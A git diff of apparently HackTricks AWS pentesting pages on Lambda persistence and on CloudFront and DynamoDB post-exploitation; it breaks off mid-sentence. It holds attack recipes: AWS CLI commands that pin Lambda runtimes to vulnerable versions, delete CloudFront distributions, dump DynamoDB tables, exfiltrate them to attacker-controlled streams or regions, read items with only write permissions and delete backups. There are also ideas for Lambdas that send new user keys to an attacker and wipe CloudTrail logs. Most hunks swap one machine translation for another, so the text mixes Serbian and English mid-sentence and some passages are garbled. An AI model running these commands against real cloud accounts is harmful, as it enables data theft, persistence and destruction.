diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index a8ba2babf..9b25ae488 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -Za više informacija pogledajte: +For more information check: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ Za više informacija pogledajte: ### Lambda Layer Persistence -Moguće je **introduce/backdoor sloj koji izvršava proizvoljni kod** kada se Lambda izvrši na prikriven način: +It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Zloupotrebom Lambda Layers moguće je i zloupotrebiti extensions i persist u Lambda, ali i ukrasti i izmeniti zahteve. +Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,15 +28,15 @@ aws-abusing-lambda-extensions.md ### Via resource policies -Moguće je dodeliti pristup različitim Lambda akcijama (kao što su invoke ili update code) eksternim nalozima: +It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
### Versions, Aliases & Weights -Lambda može imati **different versions** (svaka verzija sa različitim kodom).\ -Zatim, možete kreirati **different aliases sa različitim versions** funkcije i dodeliti različite weights svakom.\ -Na ovaj način napadač može kreirati **backdoored version 1** i **version 2 sa samo legitimnim kodom** i **izvršavati version 1 samo u 1% zahteva** da ostane neprimećen. +A Lambda can have **different versions** (with different code each version).\ +Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ +This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
@@ -54,16 +54,16 @@ Na ovaj način napadač može kreirati **backdoored version 1** i **version 2 sa ### Cron/Event actuator -Činjenica da možete naterati Lambda funkcije da se pokrenu kada se nešto desi ili nakon proteka vremena čini Lambda čestim načinom za dobijanje persistence i izbegavanje detekcije.\ -Evo nekoliko ideja kako da vaše prisustvo u AWS bude više stealth kreiranjem Lambda funkcija. +The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ +Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. -- Svaki put kada se kreira novi user, Lambda generiše novi user key i šalje ga napadaču. -- Svaki put kada se kreira novi role, Lambda daje assume role permissions kompromitovanim korisnicima. -- Svaki put kada se generišu novi cloudtrail logovi, obrišite/izmenite ih +- Every time a new user is created lambda generates a new user key and send it to the attacker. +- Every time a new role is created lambda gives assume role permissions to compromised users. +- Every time new cloudtrail logs are generated, delete/alter them ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers -Iskoristite environment variable `AWS_LAMBDA_EXEC_WRAPPER` da izvršite wrapper skriptu pod kontrolom napadača pre nego što runtime/handler startuje. Isporučite wrapper putem Lambda Layer na `/opt/bin/htwrap`, postavite `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, a zatim pozovite funkciju. Wrapper se pokreće unutar runtime procesa funkcije, nasleđuje function execution role i na kraju `exec`-uje pravi runtime tako da originalni handler i dalje normalno izvršava. +Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally. {{#ref}} aws-lambda-exec-wrapper-persistence.md @@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md ### AWS - Lambda Function URL Public Exposure -Iskoristite Lambda asynchronous destinations zajedno sa Recursion konfiguracijom da funkcija stalno re-invokuje samu sebe bez eksternog schedulera (bez EventBridge, cron, itd.). Po defaultu, Lambda prekida recursive loop-ove, ali podešavanjem recursion config na Allow ponovo ih omogućavate. Destinations isporučuju na strani servisa za async invokes, tako da jedan seed invoke kreira stealthy, code-free heartbeat/backdoor kanal. Opcionalno koristite reserved concurrency da ograničite noise. +Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low. {{#ref}} aws-lambda-async-self-loop-persistence.md @@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md ### AWS - Lambda Alias-Scoped Resource Policy Backdoor -Kreirajte skriveni Lambda version sa logikom napadača i scope-ujte resource-based policy na tu specifičnu verziju (ili alias) koristeći `--qualifier` parametar u `lambda add-permission`. Dodelite samo `lambda:InvokeFunction` na `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` napadačkom principal-u. Normalne invokacije putem imena funkcije ili primarnog alias-a ostaju nepromenjene, dok napadač može direktno invoke-ovati backdoored version ARN. +Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN. -Ovo je stealthier od izlaganja Function URL-a i ne menja primarni traffic alias. +This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias. {{#ref}} aws-lambda-alias-version-policy-backdoor.md {{#endref}} +### Freezing AWS Lambda Runtimes +An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes. + +The attacker modifies the runtime management configuration to pin the runtime version: +```bash +# Invoke the function to generate runtime logs +aws lambda invoke \ +--function-name $TARGET_FN \ +--payload '{}' \ +--region us-east-1 /tmp/ping.json + +sleep 5 + +# Freeze automatic runtime updates on function update +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on FunctionUpdate \ +--region us-east-1 +``` +Proverite primenjenu konfiguraciju: +```bash +aws lambda get-runtime-management-config \ +--function-name $TARGET_FN \ +--region us-east-1 +``` +Opcionalno: zaključajte na određenu verziju runtime-a +```bash +# Extract Runtime Version ARN from INIT_START logs +RUNTIME_ARN=$(aws logs filter-log-events \ +--log-group-name /aws/lambda/$TARGET_FN \ +--filter-pattern "INIT_START" \ +--query 'events[0].message' \ +--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4) +``` +Fiksirajte na određenu verziju runtime-a: +```bash +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on Manual \ +--runtime-version-arn $RUNTIME_ARN \ +--region us-east-1 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index 06778e914..a177ba148 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -10,22 +10,31 @@ Za više informacija pogledajte: ../../aws-services/aws-cloudfront-enum.md {{#endref}} +### `cloudfront:Delete*` +An attacker kome je dodeljen cloudfront:Delete* može da obriše distribucije, politike i druge kritične CDN konfiguracione objekte — na primer distribucije, cache/origin policies, key groups, origin access identities, functions/configs i povezane resurse. Ovo može prouzrokovati prekid usluge, gubitak sadržaja i uklanjanje konfiguracionih ili forenzičkih artefakata. + +Za brisanje distribucije attacker bi mogao da koristi: +```bash +aws cloudfront delete-distribution \ +--id \ +--if-match +``` ### Man-in-the-Middle -Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili izmeniti ako se već koristi) u **komunikaciju kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je session **cookie**) i **izmene** **response** (ubacivanje zlonamernog JS skripta). +Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili izmeniti ako se već koristi) u **komunikaciju kroz CloudFront** sa ciljem **krađe** korisničkih podataka (poput session **cookie**) i **modifikovanja** **response** (ubacivanje zlonamernog JS skripta). #### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket -- **Kreirajte** zlonamernu **function**. -- **Povežite** je sa CloudFront distribution. +- **Kreirajte** zlonamernu **funkciju**. +- **Povežite** je sa CloudFront distribucijom. - Podesite **event type to "Viewer Response"**. -Pristupanjem **response**-u možete ukrasti korisnički **cookie** i ubaciti zlonamerni JS. +Pristupajući **response** mogli biste ukrasti korisnički **cookie** i ubaciti zlonamerni JS. #### scenario 2: MitM where CloudFront is already using a lambda function -- **Izmenite kod** lambda **function**-a da ukradete osetljive informacije +- **Izmenite kod** lambda function-a da ukradete osetljive informacije -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Možete pogledati [**tf code za reprodukciju ovih scenarija ovde**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 3ff7cf6ff..0f54ba397 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -12,7 +12,7 @@ Za više informacija pogledajte: ### `dynamodb:BatchGetItem` -Napadač koji ima ove dozvole će moći da **dohvati stavke iz tabela po primarnom ključu** (ne možete jednostavno zatražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (možete ih dobiti preuzimanjem metapodataka tabele (`describe-table`). +Napadač sa ovim privilegijama će moći **dohvatiti stavke iz tabela po primarnom ključu** (ne možete jednostavno zatražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (možete ih dobiti preuzimanjem metapodataka tabele (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Neizravan privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:GetItem` -**Slično prethodnim dozvolama**, ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo 1 tabele ako je poznat primarni ključ unosa koji treba da se preuzme: +**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele ako ima primarni ključ stavke koju želi da preuzme: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Sa ovom dozvolom moguće je takođe koristiti metodu **`transact-get-items`** na sledeći начин: +Sa ovom dozvolom takođe je moguće koristiti **`transact-get-items`** metodu kao: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Potential Impact:** Indirektno privesc pronalaženjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:Query` -**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele ako je poznat primarni ključ zapisa koji treba dobiti. Dozvoljava korišćenje [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali je jedino poređenje dozvoljeno sa primarnim ključem (koji mora biti prisutan) "EQ", tako da ne možete koristiti poređenje da biste u jednom zahtevu dobili celu DB. +**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da očita vrednosti iz samo 1 tabele ako poseduje primarni ključ stavke koju želi da preuzme. Dozvoljava korišćenje [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da biste dobili celu bazu podataka u jednom zahtevu. {{#tabs }} {{#tab name="json file" }} @@ -107,19 +107,19 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirektno privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:Scan` -Možete koristiti ovu dozvolu da **dump the entire table easily**. +Možete koristiti ovu dozvolu da lako **dump** celu tabelu. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Posredni privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:PartiQLSelect` -Možete koristiti ovu dozvolu da **lako dump-ujete celu tabelu**. +Možete koristiti ovu dozvolu da **dump the entire table easily**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" @@ -129,13 +129,13 @@ Ovo dopuštenje takođe omogućava izvršavanje `batch-execute-statement`, na pr aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -međutim, morate specificirati primarni ključ sa vrednošću, pa to nije naročito korisno. +ali morate da navedete primarni ključ sa vrednošću, tako da nije toliko korisno. -**Potencijalni uticaj:** Indirektni privesc kroz pronalaženje osetljivih informacija u tabeli +**Potencijalni uticaj:** Neizravan privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Ovo dopuštenje će napadaču omogućiti da **izveze celu tabelu u S3 bucket po svom izboru**: +Ovo dopuštenje omogućava napadaču da **izveze celu tabelu u S3 bucket** po svom izboru: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,34 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Obratite pažnju: da bi ovo funkcionisalo, tabela mora imati uključen point-in-time-recovery. Možete proveriti da li tabela to ima pomoću: +Imajte na umu da, da bi ovo funkcionisalo, tabela mora imati omogućen point-in-time-recovery; možete proveriti da li tabela ima to pomoću: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Ako nije omogućeno, moraćete **to omogućiti**, a za to vam je potrebna dozvola **`dynamodb:ExportTableToPointInTime`**: +Ako nije omogućeno, moraćete da ga **omogućite** i za to vam je potrebna dozvola **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` - -Sa ovim dozvolama, napadač bi mogao da **kreira novu tabelu iz backup-a** (ili čak napravi backup pa ga potom vrati u drugu tabelu). Zatim, uz neophodne dozvole, on bi mogao da pregleda **informacije** iz backup-ova koje **više ne bi bile u produkcionoj** tabeli. +Sa ovim permisijama, napadač bi mogao da **kreira novu tabelu iz backup-a** (ili čak napravi backup pa ga zatim restoruje u drugu tabelu). Zatim, uz neophodne dozvole, mogao bi da proveri **informacije** iz backup-ova koje više ne bi bile u produkcionoj tabeli. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u rezervnoj kopiji tabele +**Potencijalni uticaj:** Indirektan privesc pronalaženjem osetljivih informacija u rezervnoj kopiji tabele ### `dynamodb:PutItem` -Ova dozvola omogućava korisnicima da dodaju **novu stavku u tabelu ili zamene postojeću stavku** novom stavkom. Ako stavka sa istim primarnim ključem već postoji, **cela stavka će biti zamenjena** novom stavkom. Ako primarni ključ ne postoji, nova stavka sa navedenim primarnim ključem će biti **kreirana**. +Ovo dopuštenje omogućava korisnicima da dodaju **novu stavku u tabelu ili zamene postojeću stavku** novom stavkom. Ako stavka sa istim primarnim ključem već postoji, **cela stavka će biti zamenjena** novom stavkom. Ako primarni ključ ne postoji, nova stavka sa specificiranim primarnim ključem će biti **kreirana**. {{#tabs }} {{#tab name="XSS Example" }} @@ -203,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Iskorišćavanje dodatnih ranjivosti/zaobilaženja omogućeno mogućnošću dodavanja ili izmene podataka u DynamoDB tabeli +**Potencijalni uticaj:** Eksploatacija dodatnih ranjivosti/bypasses omogućena mogućnošću dodavanja/izmene podataka u DynamoDB tabeli ### `dynamodb:UpdateItem` -Ova dozvola omogućava korisnicima da **izmene postojeće atribute stavke ili dodaju nove atribute stavci**. Ona **ne zamenjuje** celu stavku; samo ažurira navedene atribute. Ako primarni ključ ne postoji u tabeli, operacija će **kreirati novu stavku** sa navedenim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje. +Ova dozvola omogućava korisnicima da **izmenjuju postojeće atribute stavke ili dodaju nove atribute stavci**. Ona **ne zamenjuje** celu stavku; ažurira samo navedene atribute. Ako primarni ključ ne postoji u tabeli, operacija će **kreirati novu stavku** sa zadatim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje. {{#tabs }} {{#tab name="XSS Example" }} @@ -243,36 +242,36 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Eksploatacija daljih vulnerabilities/bypasses omogućavajući dodavanje/izmenu podataka u DynamoDB tabeli +**Potencijalni uticaj:** Eksploatacija dodatnih ranjivosti/zaobilaženja omogućavanjem dodavanja/izmene podataka u DynamoDB tabeli ### `dynamodb:DeleteTable` -Napadač sa ovom dozvolom može **izbrisati DynamoDB tabelu, što dovodi do gubitka podataka**. +Napadač sa ovom dozvolom može **obrisati DynamoDB tabelu, što dovodi do gubitka podataka**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Potencijalni uticaj**: Gubitak podataka i prekid usluga koje zavise od izbrisane tabele. +**Potencijalni uticaj**: Gubitak podataka i prekid rada servisa koji zavise od izbrisane tabele. ### `dynamodb:DeleteBackup` -Napadač sa ovom dozvolom može **izbrisati DynamoDB rezervnu kopiju, potencijalno prouzrokovati gubitak podataka u scenariju oporavka od katastrofe**. +An attacker sa ovom dozvolom može **da obriše DynamoDB backup, potencijalno prouzrokujući gubitak podataka u slučaju scenarija za oporavak od katastrofe**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Potencijalni uticaj**: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka od katastrofe. +**Potencijalni uticaj**: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka posle katastrofe. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Testirati da li ovo zapravo radi +> TODO: Testirati da li ovo zaista funkcioniše -Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da počne da strimuje promene, i potom pristupiti streamu kako bi nadgledao promene u tabeli u realnom vremenu**. Ovo omogućava napadaču da nadgleda i exfiltrate data changes, što potencijalno može dovesti do data leakage. +Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da započne streaming promena, i potom pristupiti streamu kako bi nadgledao promene u tabeli u realnom vremenu**. Ovo omogućava napadaču da nadgleda i exfiltrate-uje promene podataka, što potencijalno može dovesti do data leakage. -1. Omogućiti stream na DynamoDB tabeli: +1. Omogućite stream na DynamoDB tabeli: ```bash aws dynamodb update-table \ --table-name TargetTable \ @@ -299,16 +298,16 @@ aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Potential impact**: Praćenje u realnom vremenu i curenje podataka o izmenama u DynamoDB tabeli. +**Potencijalni uticaj**: Nadzor u realnom vremenu i data leakage promena u tabeli DynamoDB. -### Čitanje stavki pomoću `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD` +### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` -Napadač koji ima samo `dynamodb:UpdateItem` dozvolu na tabeli može pročitati stavke bez uobičajenih read dozvola (`GetItem`/`Query`/`Scan`) tako što će izvršiti bezopasnu izmenu i zatražiti `--return-values ALL_OLD`. DynamoDB će vratiti kompletnu pre-izmene sliku stavke u polju `Attributes` odgovora (ovo ne troši RCU). +Napadač koji ima samo `dynamodb:UpdateItem` na tabeli može pročitati stavke bez bilo kojih uobičajenih read dozvola (`GetItem`/`Query`/`Scan`) tako što će izvršiti bezopasnu izmenu i zatražiti `--return-values ALL_OLD`. DynamoDB će vratiti punu pre-izmene sliku stavke u polju `Attributes` odgovora (ovo ne troši RCUs). -- Minimalne dozvole: `dynamodb:UpdateItem` na ciljanoj tabeli/ključa. -- Preduslovi: morate znati primarni ključ stavke. +- Minimalne dozvole: `dynamodb:UpdateItem` na ciljnoj tabeli/na ciljanom ključu. +- Preduslovi: Morate znati primarni ključ stavke. -Primer (dodaje bezopasni atribut i exfiltrates prethodnu stavku u odgovoru): +Primer (dodaje bezopasan atribut i exfiltrates prethodnu stavku u odgovoru): ```bash aws dynamodb update-item \ --table-name \ @@ -319,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -CLI odgovor će uključivati blok `Attributes` koji sadrži kompletan prethodni item (sve atribute), čime se efektivno obezbeđuje primitiv za čitanje iz pristupa koji je samo za pisanje. +CLI odgovor će uključivati blok `Attributes` koji sadrži kompletnu prethodnu stavku (sve atribute), efektivno obezbeđujući read primitive iz write-only pristupa. -**Potencijalni uticaj:** Čitanje proizvoljnih stavki iz tabele samo sa dozvolama za pisanje, omogućavajući eksfiltraciju osetljivih podataka kada su poznati primarni ključevi. +**Potencijalni uticaj:** Read arbitrary items iz tabele sa samo write permissions, omogućavajući sensitive data exfiltration kada su poznati primary keys. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Tiha eksfiltracija dodavanjem nove regionalne replike u DynamoDB Global Table (verzija 2019.11.21). Ako principal može dodati regionalnu repliku, cela tabela će biti replicirana u Region po izboru napadača, iz kojeg napadač može pročitati sve stavke. +Stealth exfiltration dodavanjem nove replica Region u DynamoDB Global Table (version 2019.11.21). Ako principal može da doda regionalnu repliku, cela tabela se replicira u Region koji attacker izabere, iz kojeg attacker može da pročita sve stavke. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -355,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Dozvole: `dynamodb:UpdateTable` (sa `replica-updates`) ili `dynamodb:CreateTableReplica` na ciljnoj tabeli. Ako se u repliki koristi CMK, mogu biti potrebne KMS dozvole za taj ključ. +Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required. -Mogući uticaj: Replikacija cele tabele u regiju pod kontrolom napadača što vodi do prikrivene eksfiltracije podataka. +Potential Impact: Replikacija cele tabele u region pod kontrolom napadača što može dovesti do neprimetne eksfiltracije podataka. ### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Napadač sa privilegijama za transakcione write operacije može eksfiltrirati kompletne atribute postojeće stavke izvršavajući `Update` unutar `TransactWriteItems` koji namerno izaziva neuspeh `ConditionExpression` dok je postavljeno `ReturnValuesOnConditionCheckFailure=ALL_OLD`. U slučaju neuspeha, DynamoDB uključuje prethodne atribute u razloge otkazivanja transakcije, efektivno pretvarajući pristup samo za pisanje u pristup za čitanje ciljnih ključeva. +Napadač sa privilegijama za transakciono pisanje može eksfiltrirati kompletne atribute postojeće stavke izvođenjem `Update` unutar `TransactWriteItems` koji namerno ne prođe `ConditionExpression`, dok je postavljeno `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Kod neuspeha, DynamoDB uključuje prethodne atribute u razloge otkazivanja transakcije, efektivno pretvarajući pristup samo za pisanje u pristup za čitanje ciljanim ključevima. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -410,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -Dozvole: `dynamodb:TransactWriteItems` on the target table (and the underlying item). Nisu potrebne dozvole za čitanje. +Dozvole: `dynamodb:TransactWriteItems` na ciljnoj tabeli (i na osnovnoj stavci). Nisu potrebne dozvole za čitanje. -Mogući uticaj: Pročitajte proizvoljne stavke (po primarnom ključu) iz tabele koristeći samo transakcione privilegije za upis preko vraćenih razloga za otkazivanje. +Potencijalni uticaj: Čitanje proizvoljnih stavki (po primarnom ključu) iz tabele koristeći samo transakcione write privilegije kroz vraćene razloge otkazivanja. ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` na GSI -Zaobiđite ograničenja čitanja kreiranjem Global Secondary Index (GSI) sa `ProjectionType=ALL` na atributu male entropije, postavite taj atribut na konstantnu vrednost za stavke, zatim `Query` indeks da biste dohvatili kompletne stavke. Ovo radi čak i ako su `Query`/`Scan` na osnovnoj tabeli odbijeni, pod uslovom da možete da query-ujete ARN indeksa. +Zaobiđite ograničenja čitanja kreiranjem Global Secondary Index (GSI) sa `ProjectionType=ALL` na atributu male entropije, postavite taj atribut na konstantnu vrednost za sve stavke, zatim `Query` indeks da biste preuzeli cele stavke. Ovo radi čak i ako su `Query`/`Scan` na osnovnoj tabeli odbijeni, sve dok možete izvršiti query po ARN-u indeksa. - Minimalne dozvole: -- `dynamodb:UpdateTable` on the target table (da kreirate GSI sa `ProjectionType=ALL`). -- `dynamodb:UpdateItem` on the target table keys (da postavite indeksirani atribut na svakoj stavci). +- `dynamodb:UpdateTable` na ciljnoj tabeli (da kreirate GSI sa `ProjectionType=ALL`). +- `dynamodb:UpdateItem` na ključevima ciljane tabele (da postavite indeksirani atribut za svaku stavku). - `dynamodb:Query` na ARN resursa indeksa (`arn:aws:dynamodb:::table//index/`). -Koraci (PoC u us-east-1): +Koraci (PoC in us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -462,15 +461,15 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Potencijalni uticaj:** Potpuna eksfiltracija tabele upitima novokreiranog GSI koji projicira sve atribute, čak i kada su API-ji za čitanje osnovne tabele odbijeni. +**Potencijalni uticaj:** Potpuno iznošenje cele tabele upitom na novokreirani GSI koji projektuje sve atribute, čak i kada su API-ji za čitanje osnovne tabele onemogućeni. -### `dynamodb:EnableKinesisStreamingDestination` (Kontinuirana eksfiltracija putem Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Kontinuirano iznošenje podataka putem Kinesis Data Streams) -Zloupotreba DynamoDB Kinesis streaming destinacija za kontinuiranu eksfiltraciju promena iz tabele u Kinesis Data Stream pod kontrolom napadača. Kada se omogući, svaki INSERT/MODIFY/REMOVE događaj se približno u realnom vremenu prosleđuje u stream bez potrebe za dozvolama za čitanje tabele. +Zloupotreba DynamoDB Kinesis streaming destinations za kontinuirano iznošenje promena iz tabele u Kinesis Data Stream kojim napadač upravlja. Kada se omogući, svaki INSERT/MODIFY/REMOVE event se prosleđuje u skoro realnom vremenu u stream bez potrebe za dozvolama za čitanje na tabeli. -Minimalne dozvole (za napadača): -- `dynamodb:EnableKinesisStreamingDestination` na ciljnoj tabeli +Minimalne dozvole (napadač): +- `dynamodb:EnableKinesisStreamingDestination` na ciljanoj tabeli - Opcionalno `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` za praćenje statusa - Dozvole za čitanje na Kinesis streamu u vlasništvu napadača za konzumiranje zapisa: `kinesis:*` @@ -529,9 +528,46 @@ aws dynamodb disable-kinesis-streaming-destination \ aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` +### `dynamodb:UpdateTimeToLive` + +Napadač koji ima dozvolu dynamodb:UpdateTimeToLive može da promeni konfiguraciju TTL (time-to-live) tabele — omogućavajući ili onemogućavajući TTL. Kada je TTL omogućen, pojedinačne stavke koje sadrže konfigurisan TTL atribut biće automatski obrisane kada dostignu svoje vreme isteka. Vrednost TTL-a je samo još jedan atribut svake stavke; stavke bez tog atributa nisu pogođene brisanjem zasnovanim na TTL-u. + +Ako stavke već ne sadrže TTL atribut, 